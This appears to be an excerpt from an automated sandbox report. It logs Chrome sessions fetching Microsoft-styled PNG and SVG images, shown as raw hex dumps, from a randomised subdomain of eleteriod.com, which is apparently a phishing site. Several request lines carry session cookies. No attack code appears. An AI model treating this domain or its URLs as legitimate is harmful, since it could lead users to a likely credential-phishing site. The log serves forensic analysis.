2024-05-22 18:02:13 UTC	643	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:13 GMT Content-Type: image/png Content-Length: 727 Connection: close Content-Disposition: inline; filename="ophIsbkVflkPH6ucNNqWgQgh74rwHxeV0m3bqXIY45140" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ms1PNs0RdGK0Mvk5L8Q%2FL%2BKKLkYxsnF%2F7aAcqh9xZrbP%2BZUq1EKmMLCAWEFRcpJCM0r1AxLkugRPD4QCrU%2BsoJSgvTaJZjFPTbKPyNXPSNhL%2BgN6FbpdlI7ErfRb7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb741383d43dc-EWR
2024-05-22 18:02:13 UTC	726	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 02 9e 49 44 41 54 68 43 ed 97 81 51 1c 31 0c 45 8f 0e a0 83 a3 03 e8 60 a9 00 a8 20 a4 02 a0 82 90 0a a0 03 ae 83 90 0a b2 54 00 1d e4 3a 80 0e c8 7f 37 72 c6 ec dc ad e5 b5 73 77 3b 59 cf 68 18 f6 64 4b 5f 5f 92 e5 83 d9 c8 d7 c1 c8 fd 9f 4d 00 76 cd e0 c4 c0 c4 40 61 04 fe df 14 6a 9a e6 50 c1 3b 91 9c 4b 1a 09 ff b3 5e 25 ef 92 e7 b6 6d 17 85 01 4e 6e 1f c4 80 9c bf d1 c9 d7 92 79 d2 c2 6c f6 5d 40 ee 1c 7a 83 54 b2 00 58 d4 1f 65 e9 c2 ac b5 44 5a f2 24 59 1a 0b b0 12 98 e1 6f 60 e5 4c 40 60 a6 ea 72 03 30 e7 7f 99 73 38 42 64 1f fa bc 31 a6 ee 4d 87 3d c7 b5 41 e4 00 f8 61 91 27 c7 2f e5 08 11 4f 2e 81 80 05 40 34 12 6d 6b cf 92 9b 32 14 5c 00 a2 Data Ascii: PNGIHDR00WIDAThCQ1E` T:7rsw;YhdK__Mv@ajP;K^%mNnyl]@zTXeDZ$Yo`L@`r0s8Bd1M=Aa'/O.@4mk2\
2024-05-22 18:02:13 UTC	1	IN	Data Raw: 82 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.17	59905	188.114.96.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:11 UTC	1130	OUT	GET /mnE9XqQd7cwqeoHDOHNYdiJtyPkloVeKQZ2voYzCFSgjKIkn2oSmCsuv216 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:13 UTC	664	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:13 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mnE9XqQd7cwqeoHDOHNYdiJtyPkloVeKQZ2voYzCFSgjKIkn2oSmCsuv216" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=24QwTs5jzFL%2FT7BEA18gdwGymJGb6T%2FTj4Jgxl5fymlpg%2BGwwYdSvm%2FhWNCjTlThZB9uLc1LwJJ4Eq19cPjrhjzXr6eKX0NN08RGddmhrcgtQVG0zy1qefOJPR3KVQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb7414d497cf9-EWR
2024-05-22 18:02:13 UTC	705	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-05-22 18:02:13 UTC	1166	IN	Data Raw: 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 34 30 31 2e 36 20 31 37 32 30 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 31 30 37 63 31 30 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 Data Ascii: 215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#
2024-05-22 18:02:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.17	59907	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:12 UTC	1451	OUT	GET /mnrFuJOn3OoQnVImGSxPaFLthftkl2i6STz3nocxfNzRiIw78143 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:13 UTC	655	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:13 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mnrFuJOn3OoQnVImGSxPaFLthftkl2i6STz3nocxfNzRiIw78143" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HZNBHglGWmPay33NxVrBDwxPGQ9JHYgcIlQt%2BVe0nmPP12lGjAhZW4VZZS3eMQvyueW8lt97K23%2FFy39Xo39WvDITYAt8r1LOwJzHN7BxujX6%2Bu4rJdxAkOIIDUmqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb743baf8436c-EWR
2024-05-22 18:02:13 UTC	277	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2024-05-22 18:02:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.17	59908	188.114.96.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:12 UTC	1126	OUT	GET /qx5mRFu84Dkooz0S7iCXX5u3ULbpS6gxNUAos30PWFpXi1HB7RPBsgb HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:13 UTC	581	IN	HTTP/1.1 404 Not Found Date: Wed, 22 May 2024 18:02:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=03ournybIm5fwVsi%2BnHoJXAeBfPt9vrrs%2B21q%2BfVieYahpeuXDgyAx9KLptdbEDBzO4s2Yu2AtiPsrnOsOq%2BgonVz4up9Q6OSblepM9tYcQAu1ZNTeCxReNJfEFKGA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb743ddae4358-EWR
2024-05-22 18:02:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.17	59909	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:12 UTC	1456	OUT	GET /ijOG38jlE3Csa6VPdagQNh1ZGRw9wxNGNrENQrVC1wpG35UrCP3956170 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:13 UTC	658	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:13 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ijOG38jlE3Csa6VPdagQNh1ZGRw9wxNGNrENQrVC1wpG35UrCP3956170" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZDnZh7btQ59eaZyL8jjnlKI0CGjGf2ONMaf898gLuLPVIjilYI40p9R2TEhSy4Hpb8ZyBEpeChJ%2FMbziPd%2FrZTKX51vOynzarSpWBCI6W3cFMVidLCmFZC0eR5CtUQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb743da927d13-EWR
2024-05-22 18:02:13 UTC	711	IN	Data Raw: 31 63 64 65 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 Data Ascii: 1cde<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 1
2024-05-22 18:02:13 UTC	1369	IN	Data Raw: 36 32 20 30 5a 4d 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 43 31 34 2e 33 30 38 37 20 33 33 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 Data Ascii: 62 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 4
2024-05-22 18:02:13 UTC	1369	IN	Data Raw: 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 36 20 34 32 2e 39 36 37 32 20 31 34 2e 30 38 34 32 20 34 30 2e 37 37 33 38 20 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 5a 4d 33 31 2e 37 33 35 32 20 31 32 2e 31 36 34 34 43 32 36 2e 35 37 33 36 20 31 31 2e 36 39 39 35 20 32 31 2e 33 38 32 37 20 31 31 2e 36 39 35 32 20 31 Data Ascii: .9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14.0842 40.7738 12.2354 38.4694ZM31.7352 12.1644C26.5736 11.6995 21.3827 11.6952 1
2024-05-22 18:02:13 UTC	1369	IN	Data Raw: 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 5a 4d 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 36 2e 30 38 34 20 34 31 2e 34 38 33 36 4c 32 36 2e 30 37 36 37 20 34 31 2e 34 38 38 31 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 5a 4d 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 4c 32 36 2e 30 37 34 36 20 34 31 2e 34 38 39 34 4c 32 36 2e 30 37 33 34 20 34 31 2e 34 39 30 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 5a 4d 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 37 2e 34 38 31 20 34 38 2e 32 39 34 31 4c 31 37 2e 34 38 32 36 20 34 38 2e 32 39 35 4c 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 5a 4d 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 32 31 2e 37 32 33 20 34 31 2e 35 31 31 33 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 31 Data Ascii: 28.1744 44.8939ZM28.1724 44.8952L26.084 41.4836L26.0767 41.4881L28.1724 44.8952ZM28.1703 44.8965L26.0746 41.4894L26.0734 41.4902L28.1703 44.8965ZM19.6031 44.9034L17.481 48.2941L17.4826 48.295L19.6031 44.9034ZM19.6009 44.902L21.723 41.5113L21.7129 41.505L1
2024-05-22 18:02:13 UTC	1369	IN	Data Raw: 30 38 20 34 31 2e 36 34 33 20 34 37 2e 33 31 32 35 20 32 39 2e 31 34 30 37 20 34 37 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 33 39 2e 33 31 32 35 5a 4d 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 43 33 39 2e 33 31 32 35 20 32 31 2e 31 30 36 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 31 37 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 34 37 2e 33 31 32 35 43 34 37 2e 33 31 32 35 20 32 31 2e 30 39 38 32 20 34 37 2e 33 31 32 34 20 32 31 2e 30 36 37 36 20 34 37 2e 33 31 32 32 20 32 31 2e 30 33 37 4c 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 5a 4d 33 39 2e 33 31 32 35 20 32 30 2e 39 34 31 32 43 33 39 2e 33 31 32 35 20 32 30 2e 39 37 38 20 33 39 2e 33 31 32 34 20 32 31 2e 30 31 34 39 20 33 39 2e 33 31 32 33 20 32 31 2e 30 35 31 39 4c 34 37 2e 33 31 32 32 Data Ascii: 08 41.643 47.3125 29.1407 47.3125 21.1287H39.3125ZM39.3124 21.096C39.3125 21.1068 39.3125 21.1178 39.3125 21.1287H47.3125C47.3125 21.0982 47.3124 21.0676 47.3122 21.037L39.3124 21.096ZM39.3125 20.9412C39.3125 20.978 39.3124 21.0149 39.3123 21.0519L47.3122
2024-05-22 18:02:13 UTC	1211	IN	Data Raw: 2e 32 39 37 37 4c 31 37 2e 34 38 39 20 34 38 2e 32 39 39 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 5a 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 36 2e 39 31 34 33 20 33 37 2e 39 30 39 33 20 31 35 2e 33 35 35 33 20 33 35 2e 39 36 36 33 4c 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 5a 4d 31 36 2e 35 37 32 38 20 31 36 2e 31 33 36 31 43 32 31 2e 34 39 38 34 20 31 35 2e 37 30 30 36 20 32 36 2e 34 35 31 33 20 31 35 2e 37 Data Ascii: .2977L17.489 48.299L21.7129 41.505L21.7107 41.5037L17.4868 48.2977ZM9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 16.9143 37.9093 15.3553 35.9663L9.11539 40.9726ZM16.5728 16.1361C21.4984 15.7006 26.4513 15.7
2024-05-22 18:02:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.17	59910	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
